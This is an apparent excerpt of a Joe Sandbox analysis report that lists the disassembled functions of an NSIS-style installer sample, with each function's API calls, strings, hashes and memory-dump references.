Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(0001B200,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

%u.%u%s%s, xrefs: 00404444
@rD, xrefs: 00404402

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

@rD, xrefs: 00404934
, xrefs: 004048DA

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

..., xrefs: 00406293
%02x%c, xrefs: 00406270

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Skipping section: "%s", xrefs: 004050B5
Section: "%s", xrefs: 00405079

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

